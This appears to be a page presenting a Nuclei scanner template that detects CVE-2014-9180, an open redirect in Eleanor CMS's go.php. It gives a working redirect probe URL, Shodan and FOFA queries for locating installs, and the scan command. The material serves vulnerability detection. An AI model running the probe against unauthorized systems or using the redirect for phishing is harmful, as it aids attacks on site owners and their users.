Eleanor CMS - Open Redirect

ID: CVE-2014-9180

Severity: medium

Author: Shankar Acharya

Tags: cve2014,cve,packetstorm,eleanor,cms,redirect,eleanor-cms

Description

Open redirect vulnerability in go.php in Eleanor CMS allows remote attackers to redirect users to arbitrary web sites and conduct phishing attacks via a URL in the QUERY_STRING.

YAML Source

id: CVE-2014-9180

info:
  name: Eleanor CMS - Open Redirect
  author: Shankar Acharya
  severity: medium
  description: |
    Open redirect vulnerability in go.php in Eleanor CMS allows remote attackers to redirect users to arbitrary web sites and conduct phishing attacks via a URL in the QUERY_STRING.
  remediation: |
    Update to the latest version of Eleanor CMS  to fix the open redirect vulnerability.
  reference:
    - https://packetstormsecurity.com/files/129087/Eleanor-CMS-Open-Redirect.html
    - https://nvd.nist.gov/vuln/detail/CVE-2014-9180
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:N/I:P/A:N
    cvss-score: 5
    cve-id: CVE-2014-9180
    cwe-id: CWE-601
    epss-score: 0.00214
    epss-percentile: 0.59443
    cpe: cpe:2.3:a:eleanor-cms:eleanor_cms:-:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: eleanor-cms
    product: eleanor_cms
    shodan-query:
      - html:"eleanor"
      - http.html:"eleanor"
      - cpe:"cpe:2.3:a:eleanor-cms:eleanor_cms"
    fofa-query: body="eleanor"
  tags: cve2014,cve,packetstorm,eleanor,cms,redirect,eleanor-cms

http:
  - method: GET
    path:
      - "{{BaseURL}}/go.php?http://interact.sh"

    matchers:
      - type: regex
        part: header
        regex:
          - '(?m)^(?:Location\s*?:\s*?)(?:http?://|//)(?:[a-zA-Z0-9\-_\.@]*)interact\.sh.*$'
# digest: 4a0a004730450221008229ac7ee3c688a87041ad40dc75fff2a56af16f79d1401b4a9bd35ecc422bbb02203897bc73dd28ee7aaf061b6bd7466e582a5375cadeb4a29054b1832f1a4f549f:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2014/CVE-2014-9180.yaml"

View on Github